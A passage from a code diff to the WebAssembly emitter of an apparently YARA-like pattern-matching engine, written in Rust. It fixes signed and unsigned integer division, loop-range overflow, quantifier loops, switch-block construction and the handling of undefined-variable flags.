instr.unop(UnaryOp::F64ConvertSI64); + instr.unop(int_to_float_op(ir, *operand)); } if is_float { instr.binop(BinaryOp::F64Div); - } else { + } else if ir.is_unsigned_result(&operands[..=i]) { // In integer division make sure that the divisor is not // zero, if that's the case the result is undefined. throw_undef_if_zero(ctx, instr); + instr.binop(BinaryOp::I64DivU); + } else { + let lhs = ctx.wasm_symbols.i64_tmp_a; + let rhs = ctx.wasm_symbols.i64_tmp_b; + + instr.local_set(rhs); + instr.local_set(lhs); + + // In signed integer division the result is undefined if the + // divisor is zero, or if the dividend is i64::MIN and the + // divisor is -1 (which overflows i64 and traps in WASM). + instr.local_get(rhs); + instr.unop(UnaryOp::I64Eqz); + + instr.local_get(lhs); + instr.i64_const(i64::MIN); + instr.binop(BinaryOp::I64Eq); + + instr.local_get(rhs); + instr.i64_const(-1); + instr.binop(BinaryOp::I64Eq); + + instr.binop(BinaryOp::I32And); + instr.binop(BinaryOp::I32Or); + + instr.if_else( + None, + |then_| { + throw_undef(ctx, then_); + }, + |_| {}, + ); + + instr.local_get(lhs); + instr.local_get(rhs); instr.binop(BinaryOp::I64DivS); } } @@ -939,15 +1172,18 @@ fn emit_mod( operands: &[ExprId], instr: &mut InstrSeqBuilder, ) { - let mut operands = operands.iter(); - let first_operand = operands.next().unwrap(); + let first_operand = operands.first().unwrap(); emit_expr(ctx, ir, *first_operand, instr); - for operand in operands { + for (i, operand) in operands.iter().enumerate().skip(1) { emit_expr(ctx, ir, *operand, instr); throw_undef_if_zero(ctx, instr); - instr.binop(BinaryOp::I64RemS); + if ir.is_unsigned_result(&operands[..=i]) { + instr.binop(BinaryOp::I64RemU); + } else { + instr.binop(BinaryOp::I64RemS); + } } } @@ -1022,20 +1258,18 @@ fn emit_lazy_call_to_search_for_patterns( ) { if *ctx.emit_search_for_pattern_stack.last().unwrap() { instr.global_get(ctx.wasm_symbols.pattern_search_done); + instr.unop(UnaryOp::I32Eqz); instr.if_else( None, - |_then| { - // The pattern search phase was already executed. Nothing to - // do here. - }, - |_else| { - _else + |then_| { + then_ // Call `search_for_patterns`. This function will set // `pattern_search_done` to true before exiting. .call(ctx.function_id( wasm::export__search_for_patterns.mangled_name, )); }, + |_| {}, ); let top = ctx.emit_search_for_pattern_stack.last_mut().unwrap(); *top = false; @@ -1464,73 +1698,111 @@ fn emit_of_pattern_set( match (&of.quantifier, &of.items, &of.anchor) { // `any of them` (Quantifier::Any, _, MatchAnchor::None) => { - instr.block(I32, |instr| { - let block = instr.id(); - for (position, range) in ranges.iter().with_position() { - let start: i32 = (*range.start()).into(); - let end: i32 = (*range.end()).into(); - // If the range contains a single PatternId, invoke - // `check_for_pattern_match` instead of `pat_range_match`. - if end == start { - instr.i32_const(start); - instr.call(ctx.wasm_symbols.check_for_pattern_match); - } else { - instr.i32_const(start); - instr.i32_const(end); - instr.i64_const(1); - instr.call(ctx.function_id( - wasm::export__pat_range_match.mangled_name, - )); - } - // For every call, except the last one, check the result - // and exit early from the block if any of the patterns - // were found. - if matches!(position, Position::First | Position::Middle) { - instr.if_else( - None, - |then_| { - then_.i32_const(1); - then_.br(block); - }, - |_else| {}, - ); - } + if ranges.len() == 1 { + let range = ranges.pop().unwrap(); + let start: i32 = (*range.start()).into(); + let end: i32 = (*range.end()).into(); + if end == start { + instr.i32_const(start); + instr.call(ctx.wasm_symbols.check_for_pattern_match); + } else { + instr.i32_const(start); + instr.i32_const(end); + instr.i64_const(1); + instr.call(ctx.function_id( + wasm::export__pat_range_match.mangled_name, + )); } - }); + } else { + instr.block(I32, |block| { + let block_end = block.id(); + block.block(None, |any_true_block| { + let any_true = any_true_block.id(); + for (position, range) in ranges.iter().with_position() + { + let start: i32 = (*range.start()).into(); + let end: i32 = (*range.end()).into(); + // If the range contains a single PatternId, invoke + // `check_for_pattern_match` instead of `pat_range_match`. + if end == start { + any_true_block.i32_const(start); + any_true_block.call( + ctx.wasm_symbols.check_for_pattern_match, + ); + } else { + any_true_block.i32_const(start); + any_true_block.i32_const(end); + any_true_block.i64_const(1); + any_true_block.call(ctx.function_id( + wasm::export__pat_range_match.mangled_name, + )); + } + // For every call, except the last one, check the result + // and exit early from the block if any of the patterns + // were found. + if !position.is_last { + any_true_block.br_if(any_true); + } + } + any_true_block.br(block_end); + }); + block.i32_const(1); + }); + } } - // `any of them` + // `all of them` (Quantifier::All, _, MatchAnchor::None) => { - instr.block(I32, |instr| { - let block = instr.id(); - for (position, range) in ranges.iter().with_position() { - let start: i32 = (*range.start()).into(); - let end: i32 = (*range.end()).into(); - if end == start { - instr.i32_const(start); - instr.call(ctx.wasm_symbols.check_for_pattern_match); - } else { - instr.i32_const(start); - instr.i32_const(end); - instr.i64_const(end as i64 - start as i64 + 1); - instr.call(ctx.function_id( - wasm::export__pat_range_match.mangled_name, - )); - } - // For every call, except the last one, check the result - // and exit early from the block if some of the patterns - // was not found. - if !matches!(position, Position::Only | Position::Last) { - instr.if_else( - None, - |_| {}, - |else_| { - else_.i32_const(0); - else_.br(block); - }, - ); - } + if ranges.len() == 1 { + let range = ranges.pop().unwrap(); + let start: i32 = (*range.start()).into(); + let end: i32 = (*range.end()).into(); + if end == start { + instr.i32_const(start); + instr.call(ctx.wasm_symbols.check_for_pattern_match); + } else { + instr.i32_const(start); + instr.i32_const(end); + instr.i64_const(end as i64 - start as i64 + 1); + instr.call(ctx.function_id( + wasm::export__pat_range_match.mangled_name, + )); } - }); + } else { + instr.block(I32, |block| { + let block_end = block.id(); + block.block(None, |all_false_block| { + let all_false = all_false_block.id(); + for (position, range) in ranges.iter().with_position() + { + let start: i32 = (*range.start()).into(); + let end: i32 = (*range.end()).into(); + if end == start { + all_false_block.i32_const(start); + all_false_block.call( + ctx.wasm_symbols.check_for_pattern_match, + ); + } else { + all_false_block.i32_const(start); + all_false_block.i32_const(end); + all_false_block + .i64_const(end as i64 - start as i64 + 1); + all_false_block.call(ctx.function_id( + wasm::export__pat_range_match.mangled_name, + )); + } + // For every call, except the last one, check the result + // and exit early from the block if some of the patterns + // was not found. + if !position.is_last { + all_false_block.unop(UnaryOp::I32Eqz); + all_false_block.br_if(all_false); + } + } + all_false_block.br(block_end); + }); + block.i32_const(0); + }); + } } // `n of them` but all the pattern IDs are contiguous (there's a // single range) @@ -1734,37 +2006,63 @@ fn emit_for_in_range( &for_in.quantifier, // Loop initialization |ctx, instr, n, loop_end| { - // Set n = upper_bound - lower_bound + 1; - set_var(ctx, instr, n, |ctx, instr| { - // Catch undefined values in upper_bound and lower_bound - // expressions. In such cases n = 0. - catch_undef( - ctx, - I64, - instr, - |ctx, instr| { - emit_expr(ctx, ir, range.upper_bound, instr); - emit_expr(ctx, ir, range.lower_bound, instr); + let lower_tmp = ctx.wasm_symbols.i64_tmp_a; + let upper_tmp = ctx.wasm_symbols.i64_tmp_b; - // Store lower_bound in temp variable, without removing - // it from the stack. - instr.local_tee(ctx.wasm_symbols.i64_tmp_a); + // Catch undefined values in upper_bound and lower_bound + // expressions. In such cases exit the loop with false (0). + catch_undef( + ctx, + None, + instr, + |ctx, instr| { + emit_expr(ctx, ir, range.upper_bound, instr); + emit_expr(ctx, ir, range.lower_bound, instr); - // Compute upper_bound - lower_bound + 1. - instr.binop(BinaryOp::I64Sub); - instr.i64_const(1); - instr.binop(BinaryOp::I64Add); - }, - |_, instr| { - instr.i64_const(0); - }, - ) - }); + // Store lower_bound in tmp_a and upper_bound in tmp_b. + instr.local_set(lower_tmp); + instr.local_set(upper_tmp); + }, + move |_, instr| { + instr.i32_const(0); + instr.br(loop_end); + }, + ); - // If n <= 0, exit from the loop. - load_var(ctx, instr, n); - instr.i64_const(0); - instr.binop(BinaryOp::I64LeS); + // The range is empty if upper_bound < lower_bound. Checking this + // explicitly, instead of relying on `n <= 0`, prevents + // `upper_bound - lower_bound + 1` from wrapping around into a + // positive number. + instr.local_get(upper_tmp); + instr.local_get(lower_tmp); + instr.binop(BinaryOp::I64LtS); + + // Unsigned bounds greater than i64::MAX can't be represented by + // the loop variable, which is a signed integer. Those bounds have + // a negative bit pattern when interpreted as i64, and they also + // make the range empty. This doesn't apply to signed bounds, which + // can be negative at runtime (e.g: a lower bound computed as + // `filesize - 10`), and in that case the loop iterates over the + // negative values. + // + // Notice that saturating these bounds to i64::MAX is not a good + // idea. In practice, they are the result of an unsigned + // subtraction that wrapped around, like `N - 1` when `N` is zero, + // where a negative number was intended. Saturating `(0..N - 1)` to + // `(0..i64::MAX)` makes the loop run until the scan times out. + for (bound, tmp) in [ + (range.lower_bound, lower_tmp), + (range.upper_bound, upper_tmp), + ] { + if ir.get(bound).type_value().is_unsigned() { + instr.local_get(tmp); + instr.i64_const(0); + instr.binop(BinaryOp::I64LtS); + instr.binop(BinaryOp::I32Or); + } + } + + // If the range is empty, exit from the loop. instr.if_else( None, |then_| { @@ -1774,6 +2072,28 @@ fn emit_for_in_range( |_| {}, ); + // Compute n = upper_bound - lower_bound + 1, which doesn't fit in + // an i64 if the range has more than i64::MAX items. As upper_bound + // is not lower than lower_bound at this point, + // diff = upper_bound - lower_bound is exact when interpreted as + // unsigned, and the range is too large if diff >= i64::MAX. In + // that case n is saturated to i64::MAX. + set_var(ctx, instr, n, |_, instr| { + instr.i64_const(i64::MAX); + instr.local_get(upper_tmp); + instr.local_get(lower_tmp); + instr.binop(BinaryOp::I64Sub); + instr.i64_const(1); + instr.binop(BinaryOp::I64Add); + instr.local_get(upper_tmp); + instr.local_get(lower_tmp); + instr.binop(BinaryOp::I64Sub); + instr.i64_const(i64::MAX); + instr.binop(BinaryOp::I64GeU); + // diff >= i64::MAX ? i64::MAX : diff + 1 + instr.select(None); + }); + // Store lower_bound in `next_item`. set_var(ctx, instr, next_item, |ctx, instr| { instr.local_get(ctx.wasm_symbols.i64_tmp_a); @@ -1978,7 +2298,7 @@ fn emit_for_in_expr_tuple( // Execute the i-th expression and save its result in `next_item`. // If the expression calls `throw_undef`, we capture the exception // and flag the `next_item` variable as undefined. - catch_undef( + let can_be_undef = catch_undef( ctx, None, instr, @@ -1998,15 +2318,27 @@ fn emit_for_in_expr_tuple( }, ); }); + if ctx.exception_handler_stack.last().unwrap().used { + set_var_undef(ctx, instr, next_item, false); + } }, move |ctx, instr| { set_var_undef(ctx, instr, next_item, true); }, ); + + if can_be_undef { + ctx.vars_with_undef.push(next_item); + } }, // Body. |ctx, instr| { emit_bool_expr(ctx, ir, for_in.body, instr); + if let Some(last) = ctx.vars_with_undef.last() + && *last == next_item + { + ctx.vars_with_undef.pop(); + } }, // After each iteration. |_, _, _| {}, @@ -2116,14 +2448,42 @@ fn emit_for( load_var(ctx, instr, n); instr.unop(UnaryOp::F64ConvertSI64); emit_expr(ctx, ir, *quantifier, instr); - instr.unop(UnaryOp::F64ConvertSI64); + + // Negative percentages (only possible when they are + // computed at runtime) can't be satisfied, so they are + // replaced with i64::MAX, which produces a `max_count` + // that `count` never reaches. Otherwise, when + // `n * percentage` is in the range (-100, 0), + // `max_count` would be 0, which means `none`. + let percentage = ir.get(*quantifier).type_value(); + + if !percentage.is_non_negative() { + let tmp = ctx.wasm_symbols.i64_tmp_a; + instr.local_tee(tmp); + instr.i64_const(i64::MAX); + instr.local_get(tmp); + instr.i64_const(0); + instr.binop(BinaryOp::I64GeS); + // percentage >= 0 ? percentage : i64::MAX + instr.select(None); + } + + instr.unop(int_to_float_op(ir, *quantifier)); instr.binop(BinaryOp::F64Mul); // / 100 instr.f64_const(100.0); instr.binop(BinaryOp::F64Div); instr.unop(UnaryOp::F64Ceil); - instr.unop(UnaryOp::I64TruncSF64); + + // The percentage is guaranteed to be in the range + // [0, 100] only when it is a constant. Percentages + // computed at runtime (e.g: `int64(0)%`) can have any + // value, and the result may not fit in an i64. In + // such cases `i64.trunc_f64_s` traps, but the + // saturating conversion produces i64::MIN or i64::MAX + // instead, values that `count` never reaches. + instr.unop(UnaryOp::I64TruncSSatF64); } else { // Quantifier is not a percentage, use it as is. emit_expr(ctx, ir, *quantifier, instr); @@ -2144,144 +2504,166 @@ fn emit_for( ), }; - instr.loop_(I32, |block| { + instr.loop_(None, |block| { let loop_start = block.id(); // Emit code that advances to next item. before_cond(ctx, block, i); - // Emit code for the loop's body. Use `catch_undef` for - // capturing any undefined exception produced by the body because - // we don't want to abort the loop in such cases. When the body's - // result is undefined it's handled as a false. - catch_undef( - ctx, - I32, - block, - |ctx, block| { - body(ctx, block); - }, - |_, instr| { - instr.i32_const(0); - }, - ); - - // At the top of the stack we have the i32 with the result from - // the loop body. Decide what to do depending on the quantifier. match quantifier { Quantifier::None => { - block.if_else( - I32, - |then_| { - // If the body returned true, break the loop with - // result false. - then_.i32_const(0); - then_.br(loop_end); - }, - |else_| { - incr_i_and_repeat(ctx, else_, n, i, loop_start); - // If this point is reached is because all the - // range was iterated without the body returning - // true, this means that the whole "for" statement - // is true. - else_.i32_const(1); - else_.br(loop_end); + catch_undef( + ctx, + None, + block, + |ctx, block| { + body(ctx, block); + block.if_else( + None, + |then_| { + // If the body returned true, break the loop + // with result false. + then_.i32_const(0); + then_.br(loop_end); + }, + |_| {}, + ); }, + |_, _| {}, ); + incr_i_and_repeat(ctx, block, n, i, loop_start); } Quantifier::All => { - block.if_else( - I32, - |then_| { - incr_i_and_repeat(ctx, then_, n, i, loop_start); - // If this point is reached is because all the - // range was iterated without the body returning - // false, this means that the whole "for" - // statement is true. - then_.i32_const(1); - then_.br(loop_end); - }, - |else_| { - // If the body returned false, break the loop - // with result false. - else_.i32_const(0); - else_.br(loop_end); + catch_undef( + ctx, + None, + block, + |ctx, block| { + body(ctx, block); + block.if_else( + None, + |then_| { + incr_i_and_repeat( + ctx, then_, n, i, loop_start, + ); + // If this point is reached is because all + // the range was iterated without the body + // returning false, this means that the + // whole "for" statement is true. + then_.i32_const(1); + then_.br(loop_end); + }, + |_| {}, + ); }, + |_, _| {}, ); + // If the body returned false or threw `undef`, break the + // loop with result false. + block.i32_const(0); + block.br(loop_end); } Quantifier::Any => { - block.if_else( - I32, - |then_| { - // If the body returned true, break the loop with - // result true. - then_.i32_const(1); - then_.br(loop_end); - }, - |else_| { - incr_i_and_repeat(ctx, else_, n, i, loop_start); - // If this point is reached is because all the - // range was iterated without the body returning - // true, this means that the whole "for" - // statement is false. - else_.i32_const(0); - else_.br(loop_end); + catch_undef( + ctx, + None, + block, + |ctx, block| { + body(ctx, block); + block.if_else( + None, + |then_| { + // If the body returned true, break the loop + // with result true. + then_.i32_const(1); + then_.br(loop_end); + }, + |_| {}, + ); }, + |_, _| {}, ); + incr_i_and_repeat(ctx, block, n, i, loop_start); } Quantifier::Percentage(_) | Quantifier::Expr(_) => { - block.if_else( + catch_undef( + ctx, None, - |then_| { - // The body was true, increment count. - incr_var(ctx, then_, count); - - // Is counter >= quantifier?. - load_var(ctx, then_, count); - load_var(ctx, then_, max_count); - then_.binop(BinaryOp::I64GeS); - - then_.if_else( + block, + |ctx, block| { + body(ctx, block); + block.if_else( None, - // count >= max_count |then_| { - // If max_count == 0, this should be - // treated as a `none` quantifier. At - // this point count >= 1, so break the - // loop with result false (0). If - // max_count != 0 and count >= max_count, - // break with result true (1). - // - // `i64.ne` with 0 directly produces the - // right i32: 0 when max_count == 0, - // 1 when max_count != 0. + // The body was true, increment count. + incr_var(ctx, then_, count); + + // Is counter >= quantifier?. + // Using unsigned comparison ensures that if + // `max_count` is negative (or an unsigned + // integer > i64::MAX), it is treated as + // larger than `count` and the condition + // evaluates to false. + load_var(ctx, then_, count); load_var(ctx, then_, max_count); - then_.i64_const(0); - then_.binop(BinaryOp::I64Ne); - then_.br(loop_end); + then_.binop(BinaryOp::I64GeU); + + then_.if_else( + None, + // count >= max_count + |then_| { + // If max_count == 0, this should be + // treated as a `none` quantifier. + // At this point count >= 1, so + // break the loop with result false + // (0). If max_count != 0 and + // count >= max_count, break with + // result true (1). + // + // `i64.ne` with 0 directly produces + // the right i32: 0 when + // max_count == 0, 1 when + // max_count != 0. + load_var(ctx, then_, max_count); + then_.i64_const(0); + then_.binop(BinaryOp::I64Ne); + then_.br(loop_end); + }, + |_| {}, + ); }, |_| {}, ); }, - |_| {}, + |_, _| {}, ); incr_i_and_repeat(ctx, block, n, i, loop_start); - - // If this point is reached we have iterated over the whole - // range 0..n. If `max_count` is zero this means that all - // iterations returned false and therefore the loop must - // return true. If `max_count` is non-zero it means that - // `counter` didn't reach `max_count` and the loop must - // return false. - // - // `i64.eqz` produces exactly the right i32 result: - // 1 (true) when max_count == 0, 0 (false) otherwise. - load_var(ctx, block, max_count); - block.unop(UnaryOp::I64Eqz); } } }); + + // If this point is reached we have iterated over the whole range 0..n + // without breaking out of the loop early. + match quantifier { + Quantifier::None | Quantifier::All => { + instr.i32_const(1); + } + Quantifier::Any => { + instr.i32_const(0); + } + Quantifier::Percentage(_) | Quantifier::Expr(_) => { + // If `max_count` is zero this means that all iterations + // returned false and therefore the loop must return true. If + // `max_count` is non-zero it means that `counter` didn't reach + // `max_count` and the loop must return false. + // + // `i64.eqz` produces exactly the right i32 result: + // 1 (true) when max_count == 0, 0 (false) otherwise. + load_var(ctx, instr, max_count); + instr.unop(UnaryOp::I64Eqz); + } + } }); } @@ -2300,9 +2682,11 @@ fn emit_with( body: ExprId, instr: &mut InstrSeqBuilder, ) { + let vars_len = ctx.vars_with_undef.len(); + // Emit the code that sets the variables in the `with` statement. for (id, expr) in declarations.iter().cloned() { - catch_undef( + let can_be_undef = catch_undef( ctx, None, instr, @@ -2310,15 +2694,24 @@ fn emit_with( set_var(ctx, instr, id, |ctx, instr| { emit_expr(ctx, ir, expr, instr); }); + if ctx.exception_handler_stack.last().unwrap().used { + set_var_undef(ctx, instr, id, false); + } }, move |ctx, instr| { set_var_undef(ctx, instr, id, true); }, ); + + if can_be_undef { + ctx.vars_with_undef.push(id); + } } // Emit the code that evaluates the body of the `with` statement. - emit_expr(ctx, ir, body, instr) + emit_expr(ctx, ir, body, instr); + + ctx.vars_with_undef.truncate(vars_len); } /// Produces a switch statement by calling a `branch_generator` function @@ -2337,7 +2730,7 @@ fn emit_with( /// /// ```text /// i32.wrap_i64 ;; convert the i64 at the top of the -/// ;; to i32. +/// ;; stack to i32. /// local.set $tmp ;; store the i32 value in $tmp /// block (result i64) ;; block @1 /// block ;; block @2 @@ -2345,31 +2738,25 @@ fn emit_with( /// block ;; block @4 /// block ;; block @5 /// local.get $tmp ;; put $tmp at the top of the stack -/// ;; Look for the i32 at the top of the stack, and depending on its -/// ;; value jumps out of some block... +/// ;; Look for the i32 at the top of the stack (selector), and +/// ;; depending on its value jumps out of some block... /// br_table /// 1 (;@4;) ;; selector == 0 -> jump out of block @4 /// 2 (;@3;) ;; selector == 1 -> jump out of block @3 -/// 4 (;@2;) ;; selector == 2 -> jump out of block @2 +/// 3 (;@2;) ;; selector == 2 -> jump out of block @2 /// 0 (;@5;) ;; default -> jump out of block @5 /// /// end ;; block @5 /// unreachable ;; if this point is reached is because /// ;; the switch selector is out of range /// end ;; block @4 -/// block (result i64) -/// ;; < code expr 0 goes here > -/// end +/// ;; < code expr 0 goes here > /// br 2 (;@1;) ;; exits block @1 /// end ;; block @3 -/// block (result i64) -/// ;; < code expr 1 goes here > -/// end +/// ;; < code expr 1 goes here > /// br 1 (;@1;) ;; exits block @1 /// end ;; block @2 -/// block (result i64) -/// ;; < code expr 2 goes here > -/// end +/// ;; < code expr 2 goes here > /// end ;; block @1 /// ;; at this point the i64 returned by the /// ;; selected expression is at the top of @@ -2384,7 +2771,7 @@ fn emit_switch( F: FnMut(&mut EmitContext, &mut InstrSeqBuilder) -> bool, { // Convert the i64 at the top of the stack to an i32, which is the type - // expected by the `bt_table` instruction. + // expected by the `br_table` instruction. instr.unop(UnaryOp::I32WrapI64); // Store the i32 switch selector in a temp variable. The selector is the i32 @@ -2392,46 +2779,76 @@ fn emit_switch( // executed. instr.local_set(ctx.wasm_symbols.i32_tmp); - let mut branch_blocks = VecDeque::new(); - let mut branch_expr = instr.dangling_instr_seq(ty); + // First, call `branch_generator` repeatedly to emit the instructions for + // each branch into temporary instruction sequences. + let mut branch_exprs = VecDeque::new(); + let mut branch_expr = instr.dangling_instr_seq(None); while branch_generator(ctx, &mut branch_expr) { - branch_blocks.push_back(walrus::ir::Block { seq: branch_expr.id() }); - branch_expr = instr.dangling_instr_seq(ty); + branch_exprs.push_back(branch_expr.id()); + branch_expr = instr.dangling_instr_seq(None); } - // The switch statement returns a value of type `ty`. + // In WebAssembly, `br_table` jumps to the *end* of a target block. To + // implement a switch statement, we nest one block per branch (`@1`..`@4` + // in the diagram above) with `br_table` at the deepest level, and place + // each branch's code right after the `end` of its corresponding block. + // + // Because each block wraps the previous one, we build the structure from + // the inside out: + // + // `outermost_block` is `block @1` in the diagram. It wraps the entire + // switch statement and has return type `ty` (the type of the value left on + // the stack by whichever branch is executed). let outermost_block = instr.dangling_instr_seq(ty); let outermost_block_id = outermost_block.id(); + // `switch_block` is `block @4` in the diagram. It is the innermost branch + // block: jumping out of `switch_block` lands immediately before the code + // for branch 0 (`expr 0`). let switch_block = instr.dangling_instr_seq(None); let switch_block_id = switch_block.id(); - // These are the block IDs for the `br_table` instruction. - let mut block_ids = Vec::with_capacity(branch_blocks.len()); + // `block_ids` collects the target blocks for `br_table` in selector order: + // `block_ids[0]` is `block @4` (for selector == 0), `block_ids[1]` is + // `block @3` (for selector == 1), and so on. + let mut block_ids = Vec::with_capacity(branch_exprs.len()); let mut block_id = switch_block_id; block_ids.push(block_id); - let last_branch = branch_blocks.pop_back().unwrap(); + // Pop the last branch (`expr 2` in the diagram) so we can handle it + // separately at the end: since it sits at the end of `outermost_block` + // (`block @1`), it doesn't need a `br` instruction to exit the switch. + let last_branch = branch_exprs.pop_back().unwrap(); - // Iterate over the branches of the switch statement except the last one. - // The last branch is handled slightly differently because its code is put - // directly in the outermost block. - while let Some(expr_block) = branch_blocks.pop_front() { + // Wrap each of the remaining branches (`expr 0`, `expr 1`, ...) in its + // own enclosing block (`block @3`, `block @2`, ...) from the inside out. + while let Some(expr_seq_id) = branch_exprs.pop_front() { + let mut expr_instrs = + mem::take(instr.instr_seq(expr_seq_id).instrs_mut()); let mut branch = instr.dangling_instr_seq(None); - // This is the block that contains all the previous branches + // Embed the inner block (`block @4` on the first iteration, `block @3` + // on the second, etc.). When `br_table` jumps out of that inner block, + // execution resumes right after this instruction. branch.instr(walrus::ir::Block { seq: block_id }); - // This is the block for the current branch. - branch.instr(expr_block); - // The instruction that goes out of the switch statement - // after each branch (think of `break` statements in a C switch). + // Append the instructions for the current branch directly after the + // inner block's `end`. + branch.instrs_mut().append(&mut expr_instrs); + // Jump out of `outermost_block` (`block @1`), leaving the branch's + // result on the stack (like a `break` in a C switch statement). branch.br(outermost_block_id); + // This enclosing block becomes the inner block for the next iteration, + // and is also the `br_table` target for the next selector value. block_id = branch.id(); block_ids.push(block_id); } + // Populate `switch_block` (`block @4`) with `block @5`, which contains + // the `br_table` dispatch. If the selector is out of range, `br_table` + // jumps to the default target (`block @5` itself) and traps on + // `unreachable`. instr .instr_seq(switch_block_id) .block(None, |block| { @@ -2440,10 +2857,16 @@ fn emit_switch( }) .unreachable(); - instr - .instr_seq(outermost_block_id) - .instr(walrus::ir::Block { seq: block_id }) - .instr(last_branch); + // Finally, assemble `outermost_block` (`block @1`): it contains the + // outermost branch wrapper (`block @2`), followed by the instructions for + // the last branch (`expr 2`), which naturally fall through to the end of + // `outermost_block`. + let mut last_branch_instrs = + mem::take(instr.instr_seq(last_branch).instrs_mut()); + + let mut outermost = instr.instr_seq(outermost_block_id); + outermost.instr(walrus::ir::Block { seq: block_id }); + outermost.instrs_mut().append(&mut last_branch_instrs); instr.instr(walrus::ir::Block { seq: outermost_block_id }); } @@ -2460,7 +2883,9 @@ fn set_var( B: FnOnce(&mut EmitContext, &mut InstrSeqBuilder), { let (store_kind, alignment) = match var.ty() { - Type::Bool => (StoreKind::I32 { atomic: false }, size_of::()), + Type::Bool | Type::Regexp => { + (StoreKind::I32 { atomic: false }, size_of::()) + } Type::Float => (StoreKind::F64, size_of::()), Type::Integer | Type::String @@ -2485,9 +2910,6 @@ fn set_var( store_kind, MemArg { align: alignment as u32, offset: VARS_STACK_START as u64 }, ); - - // Flag the variable as not undefined. - set_var_undef(ctx, instr, var, false); } /// Sets into variables the values produced by a code block. @@ -2512,13 +2934,13 @@ fn set_vars( // at the top of the stack. for var in vars.iter().rev() { match var.ty() { - Type::Bool => { + Type::Bool | Type::Regexp => { // Pop the value and store it into temp variable. instr.local_set(ctx.wasm_symbols.i32_tmp); // Push the offset where the variable resides in memory. // The offset is always multiple of 64-bits, as each variable - // occupies a 64-bits slot. This is true even for bool values - // that are represented as a 32-bits integer. + // occupies a 64-bits slot. This is true even for 32-bits + // values like bool and RegexId. instr.i32_const(var.index() * Var::mem_size()); // Push the value. instr.local_get(ctx.wasm_symbols.i32_tmp); @@ -2565,24 +2987,24 @@ fn set_vars( } _ => unreachable!(), } - set_var_undef(ctx, instr, *var, false); } } /// Loads the value of variable into the stack. fn load_var(ctx: &mut EmitContext, instr: &mut InstrSeqBuilder, var: Var) { - // First check if the undefined flag is set for the requested variable - // and throw the undefined exception in that case. - instr.i32_const(var.index().saturating_div(64)); - instr.load( - ctx.wasm_symbols.main_memory, - LoadKind::I64 { atomic: false }, - MemArg { align: 8, offset: 0 }, - ); - instr.i64_const(1 << var.index().wrapping_rem(64)); - instr.binop(BinaryOp::I64And); - instr.unop(UnaryOp::I64Eqz); - instr.if_else(None, |_then| {}, |_else| throw_undef(ctx, _else)); + // Only check the undefined flag if this variable's initializer could + // have thrown an undefined exception. + if ctx.vars_with_undef.contains(&var) { + instr.i32_const(var.index() / 8); + instr.load( + ctx.wasm_symbols.main_memory, + LoadKind::I32_8 { kind: ZeroExtend }, + MemArg { align: size_of::() as u32, offset: 0 }, + ); + instr.i32_const(1 << (var.index() % 8)); + instr.binop(BinaryOp::I32And); + instr.if_else(None, |then_| throw_undef(ctx, then_), |_| {}); + } // The slots where variables are stored start at offset VARS_STACK_START // within main memory, and are 64-bits long. Let's compute the variable's @@ -2590,7 +3012,9 @@ fn load_var(ctx: &mut EmitContext, instr: &mut InstrSeqBuilder, var: Var) { instr.i32_const(var.index() * Var::mem_size()); let (load_kind, alignment) = match var.ty() { - Type::Bool => (LoadKind::I32 { atomic: false }, size_of::()), + Type::Bool | Type::Regexp => { + (LoadKind::I32 { atomic: false }, size_of::()) + } Type::Float => (LoadKind::F64, size_of::()), Type::Integer | Type::String @@ -2614,31 +3038,32 @@ fn set_var_undef( var: Var, is_undef: bool, ) { - // Push the address of the i64 where the flag is located. Push it + // Push the address of the byte where the flag is located. Push it // twice, one is for the load instruction and the other one is for // the store instruction. - instr.i32_const(var.index().saturating_div(64)); - instr.i32_const(var.index().saturating_div(64)); + let flag_addr = var.index() / 8; + instr.i32_const(flag_addr); + instr.i32_const(flag_addr); instr.load( ctx.wasm_symbols.main_memory, - LoadKind::I64 { atomic: false }, - MemArg { align: 8, offset: 0 }, + LoadKind::I32_8 { kind: ZeroExtend }, + MemArg { align: size_of::() as u32, offset: 0 }, ); - let bit = 1i64 << var.index().wrapping_rem(64); + let bit = 1i32 << (var.index() % 8); if is_undef { - instr.i64_const(bit); - instr.binop(BinaryOp::I64Or); + instr.i32_const(bit); + instr.binop(BinaryOp::I32Or); } else { - instr.i64_const(!bit); - instr.binop(BinaryOp::I64And); + instr.i32_const(!bit); + instr.binop(BinaryOp::I32And); } instr.store( ctx.wasm_symbols.main_memory, - StoreKind::I64 { atomic: false }, - MemArg { align: 8, offset: 0 }, + StoreKind::I32_8 { atomic: false }, + MemArg { align: size_of::() as u32, offset: 0 }, ); } @@ -2887,25 +3312,38 @@ fn catch_undef( instr: &mut InstrSeqBuilder, expr: impl FnOnce(&mut EmitContext, &mut InstrSeqBuilder), catch: impl Fn(&mut EmitContext, &mut InstrSeqBuilder) + 'static, -) { - // Create a new block containing `expr`. When an exception is raised from - // within `expr`, the control flow will jump out of this block via a `br` - // instruction. - instr.block(ty, |block| { - // Push the type and ID of the current block in the handlers stack. - ctx.exception_handler_stack.push((block.id(), Box::new(catch))); - expr(ctx, block); +) -> bool { + let mut block = instr.dangling_instr_seq(ty); + let block_id = block.id(); + + ctx.exception_handler_stack.push(ExceptionHandler { + block_id, + catch: Box::new(catch), + used: false, }); + expr(ctx, &mut block); // Pop exception handler from the stack. - ctx.exception_handler_stack.pop(); + let handler = ctx.exception_handler_stack.pop().unwrap(); + + // Only wrap the instructions in a WASM `block` if `throw_undef` was + // actually called targeting this handler. Otherwise, append the + // instructions directly to `instr` to avoid creating an unnecessary block. + if handler.used { + instr.instr(walrus::ir::Block { seq: block_id }); + } else { + let mut block_instrs = mem::take(block.instrs_mut()); + instr.instrs_mut().append(&mut block_instrs); + } + + handler.used } /// Throws an exception when an undefined value is found. /// /// For more information see [`catch_undef`]. fn throw_undef(ctx: &mut EmitContext, instr: &mut InstrSeqBuilder) { - let innermost_handler = ctx + let mut innermost_handler = ctx .exception_handler_stack .pop() .expect("calling `raise` from outside `try` block"); @@ -2945,14 +3383,30 @@ fn throw_undef(ctx: &mut EmitContext, instr: &mut InstrSeqBuilder) { // `br $outer`, because that is going to be the result for the $outer // block. // - innermost_handler.1(ctx, instr); + (innermost_handler.catch)(ctx, instr); // Jump to the exception handler. - instr.br(innermost_handler.0); + instr.br(innermost_handler.block_id); + innermost_handler.used = true; ctx.exception_handler_stack.push(innermost_handler); } +/// Branches to the innermost exception handler if the `i32` at the top of the +/// stack is non-zero. The innermost handler must have return type `None`. +fn throw_undef_if_non_zero( + ctx: &mut EmitContext, + instr: &mut InstrSeqBuilder, +) { + let innermost_handler = ctx + .exception_handler_stack + .last_mut() + 